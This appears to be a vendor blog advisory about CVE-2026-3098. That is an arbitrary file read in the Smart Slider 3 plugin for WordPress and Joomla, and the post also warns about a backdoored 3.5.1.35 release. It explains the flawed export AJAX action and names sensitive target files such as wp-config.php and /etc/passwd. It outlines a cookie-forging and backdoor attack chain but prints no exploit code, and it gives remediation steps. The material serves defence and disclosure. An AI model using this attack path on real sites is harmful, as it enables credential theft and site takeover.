&lt;/div&gt;
&lt;div&gt;
&lt;p&gt;Since this post was published, a security breach affected the update infrastructure responsible for distributing Smart Slider 3 updates. Unauthorized parties published a malicious version &lt;strong&gt;3.5.1.35&lt;/strong&gt;, which may have been installed on some websites before the issue was detected. The compromised release contains a remote code execution backdoor that runs shell commands or arbitrary PHP via a single query parameter, and it affects &lt;strong&gt;both the WordPress and Joomla editions&lt;/strong&gt; of Smart Slider 3 Pro.&lt;/p&gt;
&lt;p&gt;If your site is currently on 3.5.1.34 (the version this post recommended last week), you are still safe, but you must &lt;strong&gt;skip 3.5.1.35 entirely and update directly to 3.5.1.36 or later&lt;/strong&gt;. If your site ran 3.5.1.35 at any point, treat it as compromised: run the indicator-of-compromise checks and use Nextend&apos;s official cleanup script.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&lt;span&gt;Last safe&lt;/span&gt;&lt;span&gt;3.5.1.34&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Compromised&lt;/span&gt;&lt;span&gt;&lt;s&gt;3.5.1.35&lt;/s&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Update to&lt;/span&gt;&lt;span&gt;3.5.1.36+&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;&lt;span&gt;Read the full supply-chain compromise post&lt;/span&gt;&lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;Smart Slider 3, one of the most popular slider plugins for WordPress with over 800,000 active installations, has a vulnerability that lets any registered user download &lt;strong&gt;any file from your server&lt;/strong&gt;. Not just images or slider assets. Any file the web server process can read.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;wp-config.php&lt;/code&gt; with your database credentials. &lt;code&gt;/etc/passwd&lt;/code&gt;. Your &lt;code&gt;.env&lt;/code&gt; file. Private SSL keys. Database backup files sitting in a directory someone forgot to protect. Payment gateway configs. SMTP credentials. If it&apos;s on the filesystem and readable by the web server, an attacker with nothing more than a free subscriber account can download it.&lt;/p&gt;
&lt;p&gt;The vulnerability (&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/smart-slider-3&quot;&gt;CVE-2026-3098&lt;/a&gt;, CVSS 6.5 Medium) affects all versions up to and including 3.5.1.33. If you run Smart Slider 3, update to &lt;span&gt;&lt;strong&gt;version 3.5.1.34&lt;/strong&gt;&lt;span&gt;&lt;strong&gt;Outdated advice.&lt;/strong&gt; Version 3.5.1.35 was a malicious supply-chain release pushed via Nextend&apos;s update channel. Skip 3.5.1.35 and update directly to &lt;strong&gt;3.5.1.36&lt;/strong&gt; or later. &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Read why&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt; &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;3.5.1.36+&lt;/a&gt; now.&lt;/p&gt;
&lt;p&gt;This was &lt;a href=&quot;https://www.wordfence.com/blog/2026/03/800000-wordpress-sites-affected-by-arbitrary-file-read-vulnerability-in-smart-slider-3-wordpress-plugin/&quot;&gt;first reported by Wordfence&lt;/a&gt;, but their disclosure doesn&apos;t mention Joomla once. Smart Slider 3 also ships as a Joomla extension, and we&apos;ve confirmed it shares the same vulnerable codebase - identical files, identical hashes. If you manage Joomla sites, &lt;a href=&quot;#is-the-joomla-version-of-smart-slider-3-also-vulnerable&quot;&gt;read the Joomla section below&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;&lt;span&gt;TL;DR&lt;span&gt;&quot;Too Long; Didn&apos;t Read&quot; - a quick summary of the key points.&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-3098&lt;/strong&gt; - CVSS 6.5 arbitrary file read in Smart Slider 3 versions up to 3.5.1.33&lt;/li&gt;
&lt;li&gt;Any subscriber-level user can download any file the web server can read: &lt;code&gt;wp-config.php&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;/etc/passwd&lt;/code&gt;, private keys, database backups, payment configs&lt;/li&gt;
&lt;li&gt;Update to &lt;span&gt;&lt;a href=&quot;https://wordpress.org/plugins/smart-slider-3/&quot;&gt;Smart Slider 3.5.1.34&lt;/a&gt;&lt;span&gt;&lt;strong&gt;Outdated advice.&lt;/strong&gt; Version 3.5.1.35 was a malicious supply-chain release. Skip it and update directly to &lt;strong&gt;3.5.1.36&lt;/strong&gt; or later. &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Read why&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt; — now use &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;3.5.1.36+&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;After updating, regenerate your authentication keys/salts and change your database password&lt;/li&gt;
&lt;li&gt;Sites with open user registration are at highest risk&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Update now. Don&apos;t wait.&lt;/p&gt;
  &lt;p&gt;This vulnerability is public knowledge. The exploit requires only a free subscriber account. If your site allows any form of user registration, every minute you wait is a minute an attacker could be downloading your database credentials, private keys, and every other sensitive file on your server.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Many mySites.guru Users Are Affected by Smart Slider 3?&lt;/h2&gt;
&lt;p&gt;We checked our database this morning. Across the thousands of agencies using mySites.guru:&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;724&lt;/p&gt;
    &lt;p&gt;Agencies affected&lt;/p&gt;
  &lt;/div&gt;
  &lt;div&gt;
    &lt;p&gt;7,869&lt;/p&gt;
    &lt;p&gt;Sites running vulnerable versions&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Every one of those agencies already has a warning in their mySites.guru dashboard, because the &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;Wordfence Vulnerability API is built into the platform&lt;/a&gt; and flagged it automatically. All 724 are being emailed today.&lt;/p&gt;
&lt;p&gt;Those 724 agencies didn&apos;t need to read this post to know they had a problem. They already knew.&lt;/p&gt;
&lt;h3&gt;How Does the mySites.guru Detection of Smart Slider 3 Work?&lt;/h3&gt;
&lt;p&gt;Twice a day, a snapshot runs on each connected WordPress site, collecting every installed plugin and its version number. That list gets cross-referenced against Wordfence, CVE/Mitre, and custom threat intelligence databases.&lt;/p&gt;
&lt;p&gt;If your site runs Smart Slider 3 version 3.5.1.33 or earlier, it gets flagged with the specific CVE, severity rating, and a direct link to the advisory. No manual checking required.&lt;/p&gt;
&lt;p&gt;This isn&apos;t the first time mySites.guru has flagged Smart Slider 3 either. The plugin had a previous SQL Injection vulnerability (CVE-2025-6348) in versions up to 3.5.1.28 that was also caught automatically. Here&apos;s what the vulnerability warning looks like in the mySites.guru dashboard:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Every vulnerable plugin version gets its own entry with the full advisory text, so you know exactly what the risk is before deciding how urgently to patch.&lt;/p&gt;
&lt;h3&gt;How to Quickly Find Which Sites Have Smart Slider 3 Installed with mySites.guru&lt;/h3&gt;
&lt;p&gt;When a vulnerability like this drops, the first question is: &quot;Which of my sites have this installed?&quot; If you manage 50 or 200 client sites, you don&apos;t have time to log into each one and check the plugins page.&lt;/p&gt;
&lt;p&gt;mySites.guru indexes every plugin on every connected site. One URL gives you the complete list of every site running Smart Slider 3, broken down by version number, with the site&apos;s PHP version, WordPress version, and SSL status alongside it:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you&apos;re already a mySites.guru subscriber, you can open this page right now:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your Smart Slider 3 installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4f895994db593d472cda9736c9476774&quot;&gt;Open Smart Slider 3 Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every version installed across all your connected sites, grouped by version number. You&apos;ll see which sites are still on vulnerable versions at a glance.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Every version of Smart Slider 3 installed across your sites is listed at the top. Below that, every individual site running the plugin, with its exact version. You can see which sites are still on vulnerable versions and which have already been updated to 3.5.1.34.&lt;/p&gt;
&lt;p&gt;That turns a vulnerability announcement from a stressful afternoon of logging into admin panels into a five-minute triage. One page, you know exactly which clients are exposed, and you start patching.&lt;/p&gt;
&lt;h3&gt;How to Push the Smart Slider 3 Update Across All Your Sites&lt;/h3&gt;
&lt;p&gt;Once you know which sites are affected, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt; lets you select every site running the vulnerable version and push the update in one batch. When a vulnerability drops affecting 800,000 sites, the agencies that patch in hours rather than weeks are the ones that don&apos;t end up in incident response.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for a free trial&lt;/a&gt; and connect your sites. The plugin index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h2&gt;What Happened with Smart Slider 3 CVE-2026-3098?&lt;/h2&gt;
&lt;p&gt;The vulnerability was discovered by Dmitrii Ignatyev on February 23, 2026, and reported through the &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/smart-slider-3&quot;&gt;Wordfence Bug Bounty Program&lt;/a&gt; (earning a $2,208 bounty). Wordfence validated the proof-of-concept the next day and notified the developer, Nextend.&lt;/p&gt;
&lt;p&gt;The problem is a missing capability check in Smart Slider 3&apos;s export functionality. The plugin&apos;s AJAX actions that handle slider exports are protected by a nonce (a one-time token that proves the request came from a logged-in session), but there&apos;s no check on whether the user actually has permission to use that feature.&lt;/p&gt;
&lt;p&gt;A nonce proves you&apos;re logged in. It doesn&apos;t prove you&apos;re an admin.&lt;/p&gt;
&lt;p&gt;In the vulnerable version, any authenticated user, including someone with just a subscriber account, could:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Obtain the required nonce (it&apos;s available to any authenticated user)&lt;/li&gt;
&lt;li&gt;Call the &lt;code&gt;actionExportAll&lt;/code&gt; function via AJAX&lt;/li&gt;
&lt;li&gt;Receive a ZIP file containing exported slider data, including any referenced files&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The &lt;code&gt;ExportSlider&lt;/code&gt; class&apos;s &lt;code&gt;create()&lt;/code&gt; method adds files to the export ZIP using &lt;code&gt;file_get_contents()&lt;/code&gt; without validating file types or restricting which directories can be accessed. Image files, video files, PHP files, config files, private keys - everything is treated the same way. There is no allowlist, no path restriction, and no file extension check. An attacker can manipulate the export to include any file the web server process can read.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important: this is not limited to wp-config.php&lt;/p&gt;
  &lt;p&gt;Any file readable by the web server is exposed. That includes &lt;code&gt;.env&lt;/code&gt; files, &lt;code&gt;/etc/passwd&lt;/code&gt;, database backups, SSL private keys, payment gateway configs, SMTP credentials, and any other sensitive file on the server. If you run Smart Slider 3 on a shared hosting account, other sites on the same server may also be at risk depending on your host&apos;s isolation setup.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why Is the Smart Slider 3 File Read So Dangerous?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;wp-config.php&lt;/code&gt; gets the most attention because it contains everything an attacker needs to own your site, but most servers have sensitive files well beyond WordPress configs.&lt;/p&gt;
&lt;p&gt;A single read of &lt;code&gt;wp-config.php&lt;/code&gt; gives an attacker:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Database username, password, host, and database name. If the database port is accessible from outside the server (more common than you&apos;d think on budget hosting), they can connect directly and pull user password hashes, customer data, WooCommerce orders, and private content.&lt;/li&gt;
&lt;li&gt;Authentication keys and salts - the eight constants (&lt;code&gt;AUTH_KEY&lt;/code&gt;, &lt;code&gt;SECURE_AUTH_KEY&lt;/code&gt;, &lt;code&gt;LOGGED_IN_KEY&lt;/code&gt;, &lt;code&gt;NONCE_KEY&lt;/code&gt;, and their corresponding salts) that WordPress uses to sign session cookies. With these values, an attacker can forge a valid admin session cookie without knowing the admin password.&lt;/li&gt;
&lt;li&gt;The table prefix, which makes SQL injection attacks against other vulnerabilities more precise.&lt;/li&gt;
&lt;li&gt;Any third-party secrets stored as constants: API keys, payment gateway credentials, SMTP passwords, cloud storage keys. Many plugins put these in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The practical attack chain: forge an admin cookie using the stolen keys, log into wp-admin, install a backdoor plugin, and maintain persistent access even after the original vulnerability is patched.&lt;/p&gt;
&lt;h2&gt;Who Is at Risk from the Smart Slider 3 Vulnerability?&lt;/h2&gt;
&lt;p&gt;The vulnerability requires subscriber-level authentication, the lowest role in WordPress. This means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WooCommerce stores, where customers create accounts to place orders (subscriber access)&lt;/li&gt;
&lt;li&gt;Membership sites and anything using a registration plugin&lt;/li&gt;
&lt;li&gt;Any site with &quot;Anyone can register&quot; enabled in Settings &amp;gt; General&lt;/li&gt;
&lt;li&gt;Multisite networks, where user registration on any site in the network provides the access level needed&lt;/li&gt;
&lt;li&gt;Sites with compromised low-privilege accounts from a previous breach or credential stuffing attack&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If your site doesn&apos;t allow any form of user registration and has no subscriber accounts, the risk is significantly lower (but not zero, since an attacker could exploit a separate vulnerability to create an account first).&lt;/p&gt;
&lt;h2&gt;What Should You Do About Smart Slider 3 Right Now?&lt;/h2&gt;
&lt;h3&gt;1. Update Smart Slider 3 to &lt;span&gt;3.5.1.34&lt;span&gt;&lt;strong&gt;Outdated advice.&lt;/strong&gt; Version 3.5.1.35 was a malicious supply-chain release pushed via Nextend&apos;s update infrastructure. Skip 3.5.1.35 entirely and update directly to &lt;strong&gt;3.5.1.36&lt;/strong&gt; or later. &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Read why&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt; 3.5.1.36 or Later&lt;/h3&gt;
&lt;p&gt;The 3.5.1.34 patch adds capability checks to the export AJAX actions and originally fixed CVE-2026-3098. However, &lt;strong&gt;version 3.5.1.35 was a malicious supply-chain release&lt;/strong&gt; containing a remote code execution backdoor. Always install &lt;strong&gt;3.5.1.36 or newer&lt;/strong&gt; to get both the CVE fix and a clean codebase. Update through the WordPress plugin updater or download from &lt;a href=&quot;https://wordpress.org/plugins/smart-slider-3/&quot;&gt;wordpress.org&lt;/a&gt;. See &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;the supply-chain compromise post&lt;/a&gt; for the full background.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; to push the update everywhere at once.&lt;/p&gt;
&lt;h3&gt;2. Regenerate Your Authentication Keys and Salts&lt;/h3&gt;
&lt;p&gt;If there&apos;s any chance the vulnerability was exploited before you patched, your keys and salts should be considered compromised. Generate new ones at &lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;api.wordpress.org/secret-key/1.1/salt/&lt;/a&gt; and replace the existing values in &lt;code&gt;wp-config.php&lt;/code&gt;. This immediately invalidates all active sessions, forcing every user (including any attacker with a forged cookie) to log in again.&lt;/p&gt;
&lt;h3&gt;3. Change Your Database Password&lt;/h3&gt;
&lt;p&gt;Update the password in your hosting control panel or database server, then update &lt;code&gt;DB_PASSWORD&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt; to match. If the attacker read your credentials, this cuts off direct database access.&lt;/p&gt;
&lt;h3&gt;4. Audit Your User Accounts&lt;/h3&gt;
&lt;p&gt;Check your WordPress user list for accounts you don&apos;t recognize, especially subscribers. Delete any unauthorized accounts. If you manage multiple sites, mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;user management&lt;/a&gt; lets you review accounts across all your sites from one place.&lt;/p&gt;
&lt;h3&gt;5. Run a Security Audit&lt;/h3&gt;
&lt;p&gt;Use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; to check for backdoors or modified files. If an attacker escalated from file read to admin access using forged cookies, they may have left persistent backdoors that survive the plugin update.&lt;/p&gt;
&lt;p&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change monitoring&lt;/a&gt; so you&apos;ll be alerted immediately if any watched files are modified after cleanup.&lt;/p&gt;
&lt;h3&gt;6. Review Server Access Logs&lt;/h3&gt;
&lt;p&gt;Check your access logs for unusual requests to Smart Slider 3&apos;s AJAX endpoints. Look for POST requests to &lt;code&gt;admin-ajax.php&lt;/code&gt; with actions related to slider export from IP addresses you don&apos;t recognize. This can help determine whether the vulnerability was exploited before the patch.&lt;/p&gt;
&lt;h2&gt;Smart Slider 3 Has a History of Vulnerabilities&lt;/h2&gt;
&lt;p&gt;This isn&apos;t a one-off. Smart Slider 3 has had &lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/smart-slider-3&quot;&gt;eight documented vulnerabilities&lt;/a&gt; since 2021, including two High-severity issues in 2022. If you&apos;re running this plugin, you need to stay on top of updates.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;CVSS&lt;/th&gt;
&lt;th&gt;Min. Role&lt;/th&gt;
&lt;th&gt;Fixed In&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2021&lt;/td&gt;
&lt;td&gt;CVE-2021-24382&lt;/td&gt;
&lt;td&gt;Stored XSS&lt;/td&gt;
&lt;td&gt;4.8&lt;/td&gt;
&lt;td&gt;Author&lt;/td&gt;
&lt;td&gt;3.5.0.9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;CVE-2022-3357&lt;/td&gt;
&lt;td&gt;PHP Object Injection&lt;/td&gt;
&lt;td&gt;8.1&lt;/td&gt;
&lt;td&gt;Subscriber&lt;/td&gt;
&lt;td&gt;3.5.1.11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;CVE-2022-45843&lt;/td&gt;
&lt;td&gt;Stored XSS&lt;/td&gt;
&lt;td&gt;5.4&lt;/td&gt;
&lt;td&gt;Contributor&lt;/td&gt;
&lt;td&gt;3.5.1.11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;CVE-2022-45845&lt;/td&gt;
&lt;td&gt;Deserialization of Untrusted Data&lt;/td&gt;
&lt;td&gt;8.8&lt;/td&gt;
&lt;td&gt;Subscriber&lt;/td&gt;
&lt;td&gt;3.5.1.11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;CVE-2023-0660&lt;/td&gt;
&lt;td&gt;Stored XSS&lt;/td&gt;
&lt;td&gt;6.8&lt;/td&gt;
&lt;td&gt;Contributor&lt;/td&gt;
&lt;td&gt;3.5.1.14&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;CVE-2024-3027&lt;/td&gt;
&lt;td&gt;Missing Auth / File Upload&lt;/td&gt;
&lt;td&gt;6.4&lt;/td&gt;
&lt;td&gt;Subscriber&lt;/td&gt;
&lt;td&gt;3.5.1.23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025&lt;/td&gt;
&lt;td&gt;CVE-2025-6348&lt;/td&gt;
&lt;td&gt;SQL Injection via &lt;code&gt;sliderid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;7.6&lt;/td&gt;
&lt;td&gt;Admin&lt;/td&gt;
&lt;td&gt;3.5.1.29&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026&lt;/td&gt;
&lt;td&gt;CVE-2026-3098&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Arbitrary File Read&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6.5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Subscriber&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3.5.1.34&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Notice the pattern: three of these eight vulnerabilities (including the current one) require only &lt;strong&gt;subscriber-level access&lt;/strong&gt;. That&apos;s the lowest authenticated role in WordPress. The 2022 PHP Object Injection (CVSS 8.1) and Deserialization (CVSS 8.8) issues were both subscriber-exploitable too.&lt;/p&gt;
&lt;p&gt;The vendor has patched every disclosed vulnerability, and the response time on CVE-2026-3098 (acknowledged March 2, patched March 24) was reasonable. But the recurring pattern, especially around subscriber-level exploits, is something to factor into your risk assessment if you&apos;re deciding whether to keep using this plugin.&lt;/p&gt;
&lt;h3&gt;Is the Joomla Version of Smart Slider 3 Also Vulnerable?&lt;/h3&gt;
&lt;p&gt;Yes. Smart Slider 3 is available for both WordPress and Joomla, and they share the same Nextend framework codebase. We compared the patched Joomla release (3.5.1.34) against the patched WordPress release and found &lt;strong&gt;identical files&lt;/strong&gt; - the md5 hashes of both &lt;code&gt;ExportSlider.php&lt;/code&gt; and &lt;code&gt;ControllerSliders.php&lt;/code&gt; match exactly between platforms.&lt;/p&gt;
&lt;p&gt;The vulnerable code path is the same on both platforms: the &lt;code&gt;actionExportAll()&lt;/code&gt; method lacked a permission check, and &lt;code&gt;ExportSlider::create()&lt;/code&gt; had no file extension whitelist. The 3.5.1.34 patch adds &lt;code&gt;validatePermission(&apos;smartslider_edit&apos;)&lt;/code&gt; and restricts exported files to image and media extensions (jpg, png, gif, mp4, mp3, svg, webp, avif).&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/1746-changelog&quot;&gt;Smart Slider 3 changelog&lt;/a&gt; is unified across both platforms, and the 3.5.1.34 entry (&quot;Fix: Vulnerability improvements&quot;) applies to WordPress and Joomla equally. Earlier entries in the same changelog reference Joomla-specific features like Joomla 6 compatibility, VirtueMart generators, and Joomla article generators, confirming this is a single shared codebase.&lt;/p&gt;
&lt;p&gt;If you run Smart Slider 3 on Joomla sites, update to &lt;span&gt;3.5.1.34&lt;span&gt;&lt;strong&gt;Outdated advice.&lt;/strong&gt; Version 3.5.1.35 was a malicious supply-chain release affecting both the WordPress and Joomla editions. Skip 3.5.1.35 and update directly to &lt;strong&gt;3.5.1.36&lt;/strong&gt; or later. &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Read why&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt; &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;3.5.1.36+&lt;/a&gt; with the same urgency. The Wordfence disclosure focuses on WordPress, but the Joomla version carries identical risk.&lt;/p&gt;
&lt;p&gt;This is a recurring pattern for cross-platform plugins. The same thing happened with &lt;a href=&quot;https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/&quot;&gt;AcyMailing CVE-2026-3614&lt;/a&gt; in April 2026: a WordPress-only CVE, a vendor patch that covers both CMS platforms, and no advisory reaching the Joomla half of the affected installations. If you run Joomla sites with plugins that also ship a WordPress build, watch the WordPress CVE feeds too.&lt;/p&gt;
&lt;h3&gt;Other WordPress Slider Plugins Have the Same Problem&lt;/h3&gt;
&lt;p&gt;Smart Slider 3 isn&apos;t alone. In October 2025, Wordfence disclosed a &lt;a href=&quot;https://www.wordfence.com/blog/2025/10/4000000-wordpress-sites-affected-by-arbitrary-file-read-vulnerability-in-slider-revolution-wordpress-plugin/&quot;&gt;similar arbitrary file read in Slider Revolution&lt;/a&gt; affecting 4 million sites. That vulnerability also allowed authenticated users to read arbitrary server files through the export functionality.&lt;/p&gt;
&lt;p&gt;Slider plugins need file system access for exporting and importing configurations. That access, paired with missing authorization checks on export functions, is a recurring vulnerability pattern. The root cause in both cases: nonce validation without capability checks.&lt;/p&gt;
&lt;p&gt;The same pattern appears on the Joomla side too. The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain/Tassos Framework vulnerability (CVE-2026-21627)&lt;/a&gt; disclosed in February 2026 is another AJAX endpoint with missing authorization, this time fully unauthenticated. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; routes requests to the nrframework plugin, which whitelists file inclusion as a non-admin task. No nonce, no login, no capability check at all. The root cause across all four vulnerabilities (Smart Slider 3, Slider Revolution, Novarain Framework, and now Joomla core itself) is the same: the AJAX handler authenticates the request but never authorises the action.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (March 31, 2026):&lt;/strong&gt; &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4&lt;/a&gt; shipped with ACL hardening for &lt;code&gt;com_ajax&lt;/code&gt; in Joomla core. The framework that routes AJAX requests for every Joomla plugin had the same authorization gap as the plugins built on top of it. This isn&apos;t a handful of careless developers - the pattern runs all the way down to the CMS itself. Extension developers who rely on &lt;code&gt;com_ajax&lt;/code&gt; should audit their own authorization checks now.&lt;/p&gt;
&lt;h2&gt;Smart Slider 3 CVE-2026-3098 Disclosure Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;February 23, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability submitted to Wordfence Bug Bounty by Dmitrii Ignatyev&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 24, 2026&lt;/td&gt;
&lt;td&gt;Wordfence validated the proof-of-concept&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 24, 2026&lt;/td&gt;
&lt;td&gt;Full details sent to Nextend (Smart Slider developer)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;February 24, 2026&lt;/td&gt;
&lt;td&gt;Wordfence Premium/Care/Response users received a firewall rule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 2, 2026&lt;/td&gt;
&lt;td&gt;Nextend acknowledged the report and began working on a fix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 24, 2026&lt;/td&gt;
&lt;td&gt;Patched version 3.5.1.34 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;March 26, 2026&lt;/td&gt;
&lt;td&gt;Wordfence Free users received the firewall rule&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Want Someone to Handle the Smart Slider 3 Fix for You?&lt;/h2&gt;
&lt;p&gt;If you&apos;d rather hand this off, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee, the site gets patched, audited, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/03/800000-wordpress-sites-affected-by-arbitrary-file-read-vulnerability-in-smart-slider-3-wordpress-plugin/&quot;&gt;Wordfence advisory for CVE-2026-3098&lt;/a&gt; - the original disclosure with full technical analysis&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/smart-slider-3/&quot;&gt;Smart Slider 3 on WordPress.org&lt;/a&gt; - download the latest patched version&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/security/hardening/&quot;&gt;WordPress Hardening Handbook&lt;/a&gt; - official security best practices&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/smart-slider-3&quot;&gt;Patchstack Smart Slider 3 vulnerability history&lt;/a&gt; - all eight documented CVEs&lt;/li&gt;
